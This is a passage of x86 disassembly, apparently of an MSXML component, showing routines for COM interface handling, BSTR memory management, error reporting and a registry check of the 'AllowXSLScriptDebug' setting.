jmp sub_69B21DC8
; ---------------------------------------------------------------------------
loc_69B732D6: ; CODE XREF: sub_69B732C4+9j
xor eax, eax
retn 0Ch
sub_69B732C4 endp
; =============== S U B R O U T I N E =======================================
sub_69B732DB proc near ; CODE XREF: sub_69B706CA+95p
arg_0 = dword ptr 4
mov eax, [ecx+3Ch]
cmp eax, 1
jz short loc_69B732E7
sub eax, [esp+arg_0]
loc_69B732E7: ; CODE XREF: sub_69B732DB+6j
push eax
add ecx, 2Ch
push ecx
call sub_69B6B06D
retn 4
sub_69B732DB endp
; =============== S U B R O U T I N E =======================================
sub_69B732F4 proc near ; CODE XREF: sub_69B73499+5Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push [esp+4+arg_0]
mov esi, ecx
lea eax, [esi+28h]
push eax
call sub_69B2DEB2
push [esp+4+arg_4]
mov ecx, esi
call sub_69B72F79
mov eax, [esp+4+arg_8]
mov [esi+4Ch], eax
pop esi
retn 0Ch
sub_69B732F4 endp
; =============== S U B R O U T I N E =======================================
sub_69B7331A proc near ; CODE XREF: sub_69B73395+2Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push dword ptr [ecx+30h]
mov ecx, [esp+4+arg_0]
call sub_69B6E5A7
test eax, eax
jz short loc_69B73338
mov ecx, [esp+arg_4]
push eax
call sub_69B64999
mov al, 1
jmp short locret_69B7333A
; ---------------------------------------------------------------------------
loc_69B73338: ; CODE XREF: sub_69B7331A+Ej
xor al, al
locret_69B7333A: ; CODE XREF: sub_69B7331A+1Cj
retn 8
sub_69B7331A endp
; =============== S U B R O U T I N E =======================================
sub_69B7333D proc near ; CODE XREF: sub_69B73395+41p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [ecx+34h]
mov eax, [esi]
push edi
mov ecx, esi
call dword ptr [eax+44h]
test eax, eax
jz short loc_69B73360
mov edx, [eax]
push 0
mov ecx, eax
call dword ptr [edx+7Ch]
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+5Ch]
mov esi, eax
loc_69B73360: ; CODE XREF: sub_69B7333D+Fj
mov edi, [esp+0Ch+arg_0]
push [esp+0Ch+arg_4]
mov eax, [edi+28h]
mov eax, [eax+18h]
mov ebx, [esi]
push eax
lea ecx, [edi+10h]
mov eax, [ecx]
push 0FFFFFFFFh
push 0
call dword ptr [eax+4]
push eax
push 0
push 0
mov ecx, edi
call sub_69B6E571
push eax
mov ecx, esi
call dword ptr [ebx+54h]
pop edi
pop esi
pop ebx
retn 8
sub_69B7333D endp
; =============== S U B R O U T I N E =======================================
sub_69B73395 proc near ; DATA XREF: .text:69B16170o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push ebx
push esi
push edi
mov edi, [esp+0Ch+arg_4]
mov esi, ecx
jnz short loc_69B733FC
push dword ptr [esi+38h]
mov ecx, [edi+28h]
call sub_69B715F1
mov ebx, eax
mov ecx, ebx
call sub_69B466CC
cmp dword ptr [esi+4Ch], 2
jnz short loc_69B733CC
push ebx
push edi
mov ecx, esi
call sub_69B7331A
test al, al
jnz short loc_69B73433
loc_69B733CC: ; CODE XREF: sub_69B73395+28j
cmp dword ptr [esi+34h], 0
mov ecx, esi
jz short loc_69B733DD
push ebx
push edi
call sub_69B7333D
jmp short loc_69B73433
; ---------------------------------------------------------------------------
loc_69B733DD: ; CODE XREF: sub_69B73395+3Dj
push 0
push edi
call sub_69B72316
mov ecx, edi
call sub_69B6F1D3
xor eax, eax
push eax
push eax
push eax
mov ecx, edi
call sub_69B6F0B5
test eax, eax
jz short loc_69B73433
loc_69B733FC: ; CODE XREF: sub_69B73395+Ej
push edi
mov ecx, esi
call sub_69B725AD
push dword ptr [esi+38h]
mov ecx, [edi+28h]
call sub_69B715F1
mov ecx, edi
mov esi, eax
call sub_69B6F238
push 1
push eax
call sub_69B67D20
mov ecx, eax
add eax, 10h
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
mov ecx, esi
call sub_69B64115
loc_69B73433: ; CODE XREF: sub_69B73395+35j
; sub_69B73395+46j ...
pop edi
pop esi
pop ebx
retn 8
sub_69B73395 endp
; =============== S U B R O U T I N E =======================================
sub_69B73439 proc near ; DATA XREF: .text:69B16130o
mov eax, ecx
cmp dword ptr [eax+20h], 1
jnz short loc_69B7345F
mov ecx, [eax+8]
test ecx, ecx
jz short loc_69B7344D
mov eax, [ecx]
jmp dword ptr [eax+3Ch]
; ---------------------------------------------------------------------------
loc_69B7344D: ; CODE XREF: sub_69B73439+Dj
mov eax, [eax-20h]
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+74h]
test al, al
jz short loc_69B7345F
push 6
pop eax
retn
; ---------------------------------------------------------------------------
loc_69B7345F: ; CODE XREF: sub_69B73439+6j
; sub_69B73439+20j
xor eax, eax
retn
sub_69B73439 endp
; =============== S U B R O U T I N E =======================================
sub_69B73462 proc near ; DATA XREF: .text:69B1534Co
; .text:69B15584o ...
mov eax, [ecx+0Ch]
retn
sub_69B73462 endp
; ---------------------------------------------------------------------------
loc_69B73466: ; DATA XREF: .text:off_69B160F0o
sub dword ptr [esp+4], 2Ch
jmp sub_69B2D67E
; ---------------------------------------------------------------------------
loc_69B73470: ; DATA XREF: .text:69B160F4o
; .text:69B2A600o
sub dword ptr [esp+4], 2Ch
jmp sub_69B17349
; ---------------------------------------------------------------------------
loc_69B7347A: ; DATA XREF: .text:69B160F8o
sub dword ptr [esp+4], 2Ch
jmp sub_69B183AF
; ---------------------------------------------------------------------------
loc_69B73484: ; DATA XREF: .text:69B160FCo
sub ecx, 2Ch
jmp sub_69B736D2
; =============== S U B R O U T I N E =======================================
sub_69B7348C proc near ; DATA XREF: .text:69B1612Co
cmp dword ptr [ecx+20h], 1
jnz short loc_69B73496
mov eax, [ecx+8]
retn
; ---------------------------------------------------------------------------
loc_69B73496: ; CODE XREF: sub_69B7348C+4j
xor eax, eax
retn
sub_69B7348C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B73499 proc near ; CODE XREF: sub_69B70336+3Bp
; sub_69B7267F+F9p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
push dword_69B9B4E8
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0A8h]
mov ebx, eax
test ebx, ebx
jnz short loc_69B734CA
push eax
push eax
push dword_69B9B4E8
push 0C00CE020h
call sub_69B6E277
loc_69B734CA: ; CODE XREF: sub_69B73499+1Dj
mov esi, [ebp+arg_0]
mov ecx, [esi+68h]
push 1
push ebx
push 0Bh
call sub_69B4DE11
push [ebp+arg_C]
mov eax, [eax+8]
push eax
lea ecx, [esi+70h]
call sub_69B705AD
push [ebp+arg_C]
mov esi, eax
push edi
push [ebp+arg_4]
mov ecx, esi
call sub_69B732F4
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
retn 10h
sub_69B73499 endp
; =============== S U B R O U T I N E =======================================
sub_69B73502 proc near ; CODE XREF: sub_69B736CA+3j
; DATA XREF: .text:69B1616Co
push esi
mov esi, ecx
push 0
lea eax, [esi+30h]
push eax
call sub_69B17320
push 0
lea eax, [esi+34h]
push eax
call sub_69B17320
push 0
lea eax, [esi+40h]
push eax
call sub_69B17320
push 0
lea eax, [esi+48h]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp sub_69B7251E
sub_69B73502 endp
; =============== S U B R O U T I N E =======================================
sub_69B73539 proc near ; DATA XREF: .text:69B16194o
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push esi
push edi
push 8
push dword_69B9B508
mov esi, ecx
mov eax, [esi+0Ch]
push eax
mov ecx, ebx
call sub_69B6EA8E
push eax
lea edi, [esi+34h]
push edi
call sub_69B17320
mov ecx, [esi+0Ch]
mov eax, [ecx]
call dword ptr [eax+74h]
test al, al
jz short loc_69B73582
xor eax, eax
cmp [edi], eax
jz short loc_69B735A3
push eax
push eax
push dword ptr [esi+30h]
push 0C00CE326h
call sub_69B6E277
jmp short loc_69B735A3
; ---------------------------------------------------------------------------
loc_69B73582: ; CODE XREF: sub_69B73539+30j
cmp dword ptr [edi], 0
jnz short loc_69B735A3
push offset off_69B1A5AC
call sub_69B65631
mov ecx, eax
add eax, 8
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push edi
call sub_69B17320
loc_69B735A3: ; CODE XREF: sub_69B73539+36j
; sub_69B73539+47j ...
push esi
lea ecx, [ebx+70h]
call sub_69B7060C
test al, al
jz short loc_69B735B9
mov ecx, [esi+28h]
mov eax, [ecx]
push esi
call dword ptr [eax+4Ch]
loc_69B735B9: ; CODE XREF: sub_69B73539+75j
pop edi
pop esi
pop ebx
retn 8
sub_69B73539 endp
; =============== S U B R O U T I N E =======================================
sub_69B735BF proc near ; CODE XREF: sub_69B70774+39p
arg_4 = dword ptr 8
cmp dword ptr [ecx+4Ch], 3
jz short locret_69B735F9
push esi
lea esi, [ecx+40h]
mov eax, [esi]
test eax, eax
jz short loc_69B735E9
push eax
mov eax, [esp+8+arg_4]
push dword ptr [ecx+30h]
mov ecx, [eax+10h]
call sub_69B3182D
push 0
push esi
call sub_69B17320
jmp short loc_69B735F8
; ---------------------------------------------------------------------------
loc_69B735E9: ; CODE XREF: sub_69B735BF+Ej
mov eax, [esp+4+arg_4]
push dword ptr [ecx+30h]
mov ecx, [eax+10h]
call sub_69B17DC6
loc_69B735F8: ; CODE XREF: sub_69B735BF+28j
pop esi
locret_69B735F9: ; CODE XREF: sub_69B735BF+4j
retn 8
sub_69B735BF endp
; =============== S U B R O U T I N E =======================================
sub_69B735FC proc near ; CODE XREF: sub_69B706CA+8Bp
arg_0 = dword ptr 4
push esi
lea esi, [ecx+48h]
cmp dword ptr [esi], 0
jnz short loc_69B73615
push 0
push 2
call sub_69B8A458
push eax
push esi
call sub_69B17320
loc_69B73615: ; CODE XREF: sub_69B735FC+7j
push [esp+4+arg_0]
mov ecx, [esi]
call sub_69B8A35C
pop esi
retn 4
sub_69B735FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B73624 proc near ; CODE XREF: sub_69B7051D+26p
; sub_69B73624+67p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
test byte ptr [esi+50h], 2
jz short loc_69B73639
mov eax, [ebp+arg_0]
jmp loc_69B736C5
; ---------------------------------------------------------------------------
loc_69B73639: ; CODE XREF: sub_69B73624+Bj
push ebx
xor ebx, ebx
cmp [esi+4Ch], ebx
push edi
jnz short loc_69B73651
push ebx
push ebx
push dword ptr [esi+30h]
push 0C00CE316h
call sub_69B6E277
loc_69B73651: ; CODE XREF: sub_69B73624+1Cj
test byte ptr [esi+50h], 1
jz short loc_69B73666
push ebx
push ebx
push dword ptr [esi+30h]
push 0C00CE324h
call sub_69B6E277
loc_69B73666: ; CODE XREF: sub_69B73624+31j
or dword ptr [esi+50h], 1
lea edi, [esi+48h]
mov eax, [edi]
cmp eax, ebx
jz short loc_69B736A1
cmp [eax+0Ch], ebx
mov [ebp+var_4], ebx
jle short loc_69B736A1
mov ebx, [ebp+arg_0]
loc_69B7367E: ; CODE XREF: sub_69B73624+79j
push [ebp+var_4]
mov ecx, [edi]
call sub_69B8A163
push ebx
mov ecx, eax
call sub_69B73624
inc [ebp+var_4]
mov ecx, [ebp+var_4]
mov ebx, eax
mov eax, [edi]
cmp ecx, [eax+0Ch]
jl short loc_69B7367E
jmp short loc_69B736A4
; ---------------------------------------------------------------------------
loc_69B736A1: ; CODE XREF: sub_69B73624+4Dj
; sub_69B73624+55j
mov ebx, [ebp+arg_0]
loc_69B736A4: ; CODE XREF: sub_69B73624+7Bj
and dword ptr [esi+50h], 0FFFFFFFEh
push 0
push edi
call sub_69B17320
mov ecx, [esi+28h]
mov [esi+38h], ebx
mov eax, [ecx]
push esi
call dword ptr [eax+4Ch]
or dword ptr [esi+50h], 2
pop edi
lea eax, [ebx+1]
pop ebx
loc_69B736C5: ; CODE XREF: sub_69B73624+10j
pop esi
leave
retn 4
sub_69B73624 endp
; =============== S U B R O U T I N E =======================================
sub_69B736CA proc near ; DATA XREF: .text:69B16124o
sub ecx, 2Ch
jmp sub_69B73502
sub_69B736CA endp
; =============== S U B R O U T I N E =======================================
sub_69B736D2 proc near ; CODE XREF: .text:69B73487j
; DATA XREF: .text:69B16144o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B736ED
test [esp+4+arg_0], 1
jz short loc_69B736E7
push esi
call sub_69B1829F
loc_69B736E7: ; CODE XREF: sub_69B736D2+Dj
mov eax, esi
pop esi
retn 4
sub_69B736D2 endp
; =============== S U B R O U T I N E =======================================
sub_69B736ED proc near ; CODE XREF: sub_69B736D2+3p
push esi
mov esi, ecx
lea eax, [esi+48h]
push eax
call sub_69B17230
lea eax, [esi+40h]
push eax
call sub_69B17230
lea eax, [esi+34h]
push eax
call sub_69B17230
lea eax, [esi+30h]
push eax
call sub_69B17230
mov ecx, esi
neg ecx
lea eax, [esi+2Ch]
sbb ecx, ecx
and ecx, eax
call sub_69B18700
mov ecx, esi
pop esi
jmp sub_69B7039F
sub_69B736ED endp
; =============== S U B R O U T I N E =======================================
sub_69B7372C proc near ; CODE XREF: sub_69B705AD+41p
; sub_69B706CA+4Ap
push 54h
call sub_69B17EF3
test eax, eax
jz short loc_69B7373E
mov ecx, eax
jmp sub_69B16098
; ---------------------------------------------------------------------------
loc_69B7373E: ; CODE XREF: sub_69B7372C+9j
xor eax, eax
retn 0Ch
sub_69B7372C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B73743 proc near ; CODE XREF: sub_69B73829+9p
; sub_69B739EC+5Ap
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
hKey = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
cmp byte_69B9A860, 0
jz short loc_69B737B5
push 4
pop eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
lea eax, [ebp+hKey]
push eax
push 1
push 0
push offset aSoftwareMicr_3 ; "Software\\Microsoft\\MSXML"
push 80000001h
mov [ebp+var_8], 0FFFFh
call ds:SHLWAPI_125
test eax, eax
jnz short loc_69B737A3
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push 0
push offset aAllowxslscript ; "AllowXSLScriptDebug"
push [ebp+hKey]
call ds:SHLWAPI_128
push [ebp+hKey] ; hKey
call RegCloseKey ; RegCloseKey
loc_69B737A3: ; CODE XREF: sub_69B73743+39j
cmp [ebp+var_8], 1
mov byte_69B9A860, 0
setz byte_69B9B680
loc_69B737B5: ; CODE XREF: sub_69B73743+Dj
mov al, byte_69B9B680
leave
retn
sub_69B73743 endp
; ---------------------------------------------------------------------------
aSoftwareMicr_3: ; DATA XREF: sub_69B73743+20o
unicode 0, <Software\Microsoft\MSXML>,0
align 10h
aAllowxslscript: ; DATA XREF: sub_69B73743+49o
unicode 0, <AllowXSLScriptDebug>,0
; =============== S U B R O U T I N E =======================================
sub_69B73818 proc near ; DATA XREF: .text:69B16000o
arg_4 = dword ptr 8
call ds:GetSystemDefaultLCID ; GetSystemDefaultLCID
mov ecx, [esp+arg_4]
mov [ecx], eax
xor eax, eax
retn 8
sub_69B73818 endp
; =============== S U B R O U T I N E =======================================
sub_69B73829 proc near ; DATA XREF: .text:69B15FDCo
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
mov esi, [esp+4+arg_8]
test esi, esi
jz short loc_69B7383F
call sub_69B73743
neg al
sbb eax, eax
neg eax
mov [esi], eax
loc_69B7383F: ; CODE XREF: sub_69B73829+7j
mov eax, [esp+4+arg_C]
test eax, eax
pop esi
jz short loc_69B7384E
mov dword ptr [eax], 1
loc_69B7384E: ; CODE XREF: sub_69B73829+1Dj
xor eax, eax
retn 10h
sub_69B73829 endp
; =============== S U B R O U T I N E =======================================
sub_69B73853 proc near ; CODE XREF: sub_69B70C8D+6p
mov eax, [ecx+4]
test eax, eax
jz short locret_69B73861
push eax ; BSTR
call SysFreeString
locret_69B73861: ; CODE XREF: sub_69B73853+5j
retn
sub_69B73853 endp
; ---------------------------------------------------------------------------
loc_69B73862: ; DATA XREF: .text:off_69B15DD8o
cmp dword ptr [esp+0Ch], 0
jnz short loc_69B73870
mov eax, 80004003h
jmp short locret_69B738D2
; ---------------------------------------------------------------------------
loc_69B73870: ; CODE XREF: .text:69B73867j
mov eax, [esp+8]
push ebx
push esi
push edi
push 4
pop edx
mov ecx, edx
mov edi, offset stru_69B1CA6C
mov esi, eax
xor ebx, ebx
repe cmpsd
jz short loc_69B738BD
mov ecx, edx
mov edi, offset dword_69B2AFE0
mov esi, eax
xor ebx, ebx
repe cmpsd
jz short loc_69B738BD
mov ecx, edx
mov edi, (offset dword_69B2B088+8)
mov esi, eax
xor ebx, ebx
repe cmpsd
jz short loc_69B738BD
mov esi, eax
mov ecx, edx
mov edi, (offset loc_69B2B07C+4)
xor eax, eax
repe cmpsd
jz short loc_69B738BD
mov eax, 80004002h
jmp short loc_69B738CF
; ---------------------------------------------------------------------------
loc_69B738BD: ; CODE XREF: .text:69B73887j
; .text:69B73896j ...
mov eax, [esp+10h]
mov ecx, [esp+18h]
mov [ecx], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
xor eax, eax
loc_69B738CF: ; CODE XREF: .text:69B738BBj
pop edi
pop esi
pop ebx
locret_69B738D2: ; CODE XREF: .text:69B7386Ej
retn 0Ch
; =============== S U B R O U T I N E =======================================
sub_69B738D5 proc near ; CODE XREF: sub_69B73C9C+24p
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov eax, [esi+4]
test eax, eax
jz short loc_69B738E6
push eax ; BSTR
call SysFreeString
loc_69B738E6: ; CODE XREF: sub_69B738D5+8j
mov eax, [esp+4+arg_0]
mov [esi+4], eax
pop esi
retn 4
sub_69B738D5 endp
; =============== S U B R O U T I N E =======================================
sub_69B738F1 proc near ; DATA XREF: .text:69B15E78o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
test esi, esi
jnz short loc_69B73901
mov eax, 80004003h
jmp short loc_69B73925
; ---------------------------------------------------------------------------
loc_69B73901: ; CODE XREF: sub_69B738F1+7j
and dword ptr [esi], 0
mov eax, [esp+4+arg_0]
mov eax, [eax+4]
test eax, eax
jz short loc_69B73923
push eax ; OLECHAR *
call SysAllocString
test eax, eax
mov [esi], eax
jnz short loc_69B73923
mov eax, 8007000Eh
jmp short loc_69B73925
; ---------------------------------------------------------------------------
loc_69B73923: ; CODE XREF: sub_69B738F1+1Cj
; sub_69B738F1+29j
xor eax, eax
loc_69B73925: ; CODE XREF: sub_69B738F1+Ej
; sub_69B738F1+30j
pop esi
retn 8
sub_69B738F1 endp
; =============== S U B R O U T I N E =======================================
sub_69B73929 proc near ; DATA XREF: .text:69B16004o
push 20h
push offset dword_69B739E0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B7394E
mov eax, 80004005h
jmp loc_69B739D7
; ---------------------------------------------------------------------------
loc_69B7394E: ; CODE XREF: sub_69B73929+19j
mov edi, [ebp+8]
lea ecx, [edi+4]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov [ebp-4], ebx
mov esi, [ebp+14h]
cmp esi, ebx
jz short loc_69B7399F
push dword ptr [ebp+0Ch] ; psz2
push offset psz1 ; "Context"
call ds:StrCmpW ; StrCmpW
test eax, eax
jnz short loc_69B7399D
mov eax, [edi+1Ch]
mov [ebp-2Ch], eax
push eax
lea ecx, [eax+8Ch]
call sub_69B70BCE
mov [esi], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
jmp short loc_69B7399F
; ---------------------------------------------------------------------------
loc_69B7399D: ; CODE XREF: sub_69B73929+56j
mov [esi], ebx
loc_69B7399F: ; CODE XREF: sub_69B73929+44j
; sub_69B73929+72j
mov [ebp-30h], ebx
jmp short loc_69B739BF
; ---------------------------------------------------------------------------
loc_69B739A4: ; DATA XREF: .text:69B739E4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B739AD: ; DATA XREF: .text:69B739E8o
mov esp, [ebp-18h]
call sub_69B2E808
mov ecx, eax
call sub_69B2E804
mov [ebp-30h], eax
loc_69B739BF: ; CODE XREF: sub_69B73929+79j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B739D7: ; CODE XREF: sub_69B73929+20j
call sub_69B1853C
retn 14h
sub_69B73929 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B739E0 dd 0FFFFFFFFh dd offset loc_69B739A4
dd offset loc_69B739AD
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B739EC proc near ; CODE XREF: .text:69B70985j
; .text:69B7098Fj ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
push [ebp+arg_8]
mov esi, [ebp+arg_4]
push esi
push ebx
call sub_69B448B2
cmp eax, 80004002h
mov [ebp+arg_0], eax
jnz short loc_69B73A6A
push edi
push 4
pop ecx
mov edi, offset dword_69B2B040
xor eax, eax
repe cmpsd
jnz short loc_69B73A1F
lea ecx, [ebx+10h]
jmp short loc_69B73A52
; ---------------------------------------------------------------------------
loc_69B73A1F: ; CODE XREF: sub_69B739EC+2Cj
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset dword_69B2AF40
xor eax, eax
repe cmpsd
jnz short loc_69B73A35
lea ecx, [ebx+18h]
jmp short loc_69B73A52
; ---------------------------------------------------------------------------
loc_69B73A35: ; CODE XREF: sub_69B739EC+42j
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset loc_69B73A74
xor eax, eax
repe cmpsd
jnz short loc_69B73A69
call sub_69B73743
test al, al
jnz short loc_69B73A69
lea ecx, [ebx+14h]
loc_69B73A52: ; CODE XREF: sub_69B739EC+31j
; sub_69B739EC+47j
mov eax, ebx
neg eax
sbb eax, eax
and eax, ecx
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov eax, [ebx]
push ebx
call dword ptr [eax+4]
and [ebp+arg_0], 0
loc_69B73A69: ; CODE XREF: sub_69B739EC+58j
; sub_69B739EC+61j
pop edi
loc_69B73A6A: ; CODE XREF: sub_69B739EC+1Dj
mov eax, [ebp+arg_0]
pop esi
pop ebx
pop ebp
retn 0Ch
sub_69B739EC endp
; ---------------------------------------------------------------------------
align 4
loc_69B73A74: ; DATA XREF: sub_69B739EC+4Fo
adc [edi+edx*4], edi
push ecx
or al, 0CBh
rcl byte ptr [ecx], 1
mov ch, 0C9h
add [eax+7A0E4A24h], ah
; =============== S U B R O U T I N E =======================================
sub_69B73A84 proc near ; DATA XREF: .text:69B16014o
push 54h
push offset dword_69B73BE8
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B73AA7
mov eax, 80004005h
jmp loc_69B73BDB
; ---------------------------------------------------------------------------
loc_69B73AA7: ; CODE XREF: sub_69B73A84+17j
mov ebx, [ebp+8]
lea ecx, [ebx+4]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
and dword ptr [ebp-2Ch], 0
push 8
pop ecx
xor eax, eax
lea edi, [ebp-4Ch]
rep stosd
and [ebp-4], eax
mov esi, [ebp+0Ch]
mov eax, [esi]
lea ecx, [ebp-4Ch]
push ecx
push esi
call dword ptr [eax+0Ch]
push eax
call sub_69B8861E
mov eax, [esi]
lea ecx, [ebp-50h]
push ecx
lea ecx, [ebp-54h]
push ecx
lea ecx, [ebp-58h]
push ecx
push esi
call dword ptr [eax+10h]
push eax
call sub_69B8861E
mov eax, [esi]
lea ecx, [ebp-2Ch]
push ecx
push esi
call dword ptr [eax+14h]
lea eax, [ebp-4Ch]
push eax
call sub_69B6FE64
mov esi, eax
mov [ebp-5Ch], esi
push 0Ah
mov ecx, esi
call sub_69B88E7C
xor edi, edi
push edi
push dword ptr [ebp-50h]
call sub_69B2F0F7
push eax
push dword ptr [ebp-54h]
call sub_69B2F0F7
push eax
push 0C00CE308h
call sub_69B2F944
add esp, 10h
push eax
mov ecx, esi
call sub_69B88EA5
cmp [ebp-2Ch], edi
jz short loc_69B73B56
push dword ptr [ebp-2Ch] ; lpString
mov ecx, esi
call sub_69B88E04
jmp short loc_69B73B6B
; ---------------------------------------------------------------------------
loc_69B73B56: ; CODE XREF: sub_69B73A84+C4j
push edi
push 0C00CE309h
call sub_69B2F944
pop ecx
pop ecx
push eax
mov ecx, esi
call sub_69B88EA5
loc_69B73B6B: ; CODE XREF: sub_69B73A84+D0j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+2Ch]
push eax
push 80020009h
call sub_69B1D342
mov [ebp-60h], eax
push eax
call sub_69B2E818
push dword ptr [ebp-60h]
lea ecx, [ebx+20h]
call sub_69B199CC
mov [ebp-64h], edi
jmp short loc_69B73BA9
; ---------------------------------------------------------------------------
loc_69B73B96: ; DATA XREF: .text:69B73BECo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B73B9F: ; DATA XREF: .text:69B73BF0o
mov esp, [ebp-18h]
mov dword ptr [ebp-64h], 1
loc_69B73BA9: ; CODE XREF: sub_69B73A84+110j
or dword ptr [ebp-4], 0FFFFFFFFh
push dword ptr [ebp-44h] ; BSTR
mov esi, SysFreeString
call esi ; SysFreeString
push dword ptr [ebp-48h] ; BSTR
call esi ; SysFreeString
push dword ptr [ebp-40h] ; BSTR
call esi ; SysFreeString
push dword ptr [ebp-2Ch] ; BSTR
call esi ; SysFreeString
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-64h]
loc_69B73BDB: ; CODE XREF: sub_69B73A84+1Ej
call sub_69B1853C
retn 8
sub_69B73A84 endp
; ---------------------------------------------------------------------------
align 8
dword_69B73BE8 dd 0FFFFFFFFh dd offset loc_69B73B96
dd offset loc_69B73B9F
; =============== S U B R O U T I N E =======================================
sub_69B73BF4 proc near ; CODE XREF: sub_69B73C9C+Dp
; sub_69B73F00+53p
push 28h
push offset dword_69B73C90
call sub_69B19C5C
xor edi, edi
xor ebx, ebx
mov [ebp-4], edi
mov eax, [ecx+1Ch]
mov [ebp-1Ch], eax
mov ecx, [eax+0B4h]
mov eax, [ecx]
call dword ptr [eax+0B4h]
mov esi, eax
mov [ebp-20h], esi
mov ecx, esi
call sub_69B3DD84
mov [ebp-24h], eax
test eax, eax
jnz short loc_69B73C48
cmp [ebp+0Ch], al
jz short loc_69B73C3B
mov eax, [esi+18h]
mov [ebp-28h], eax
jmp short loc_69B73C41
; ---------------------------------------------------------------------------
loc_69B73C3B: ; CODE XREF: sub_69B73BF4+3Dj
mov eax, [esi+14h]
mov [ebp-2Ch], eax
loc_69B73C41: ; CODE XREF: sub_69B73BF4+45j
mov [ebp-24h], eax
test eax, eax
jz short loc_69B73C69
loc_69B73C48: ; CODE XREF: sub_69B73BF4+38j
mov ecx, [eax+0Ch]
mov [ebp-30h], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov edi, eax
mov [ebp-34h], edi
test edi, edi
jnz short loc_69B73C69
mov ebx, 8007000Eh
mov [ebp-38h], ebx
loc_69B73C69: ; CODE XREF: sub_69B73BF4+52j
; sub_69B73BF4+6Bj
mov eax, [ebp+8]
mov [eax], edi
jmp short loc_69B73C81
; ---------------------------------------------------------------------------
loc_69B73C70: ; DATA XREF: .text:69B73C94o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B73C79: ; DATA XREF: .text:69B73C98o
mov esp, [ebp-18h]
mov ebx, 80004005h
loc_69B73C81: ; CODE XREF: sub_69B73BF4+7Aj
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, ebx
call sub_69B1853C
retn 8
sub_69B73BF4 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B73C90 dd 0FFFFFFFFh dd offset loc_69B73C70
dd offset loc_69B73C79
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B73C9C proc near ; CODE XREF: .text:69B73EAEp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
push 1
lea eax, [ebp+var_4]
push eax
mov esi, ecx
call sub_69B73BF4
test eax, eax
jl short loc_69B73CDB
cmp [ebp+var_4], 0
jz short loc_69B73CD4
push [ebp+var_4]
add esi, 24h
mov ecx, esi
call sub_69B738D5
mov eax, [ebp+arg_0]
mov [eax], esi
mov eax, [esi]
push esi
call dword ptr [eax+4]
xor eax, eax
jmp short loc_69B73CE0
; ---------------------------------------------------------------------------
loc_69B73CD4: ; CODE XREF: sub_69B73C9C+1Aj
mov eax, 80004002h
jmp short loc_69B73CE0
; ---------------------------------------------------------------------------
loc_69B73CDB: ; CODE XREF: sub_69B73C9C+14j
mov eax, 8007000Eh
loc_69B73CE0: ; CODE XREF: sub_69B73C9C+36j
; sub_69B73C9C+3Dj
pop esi
leave
retn 4
sub_69B73C9C endp
; ---------------------------------------------------------------------------
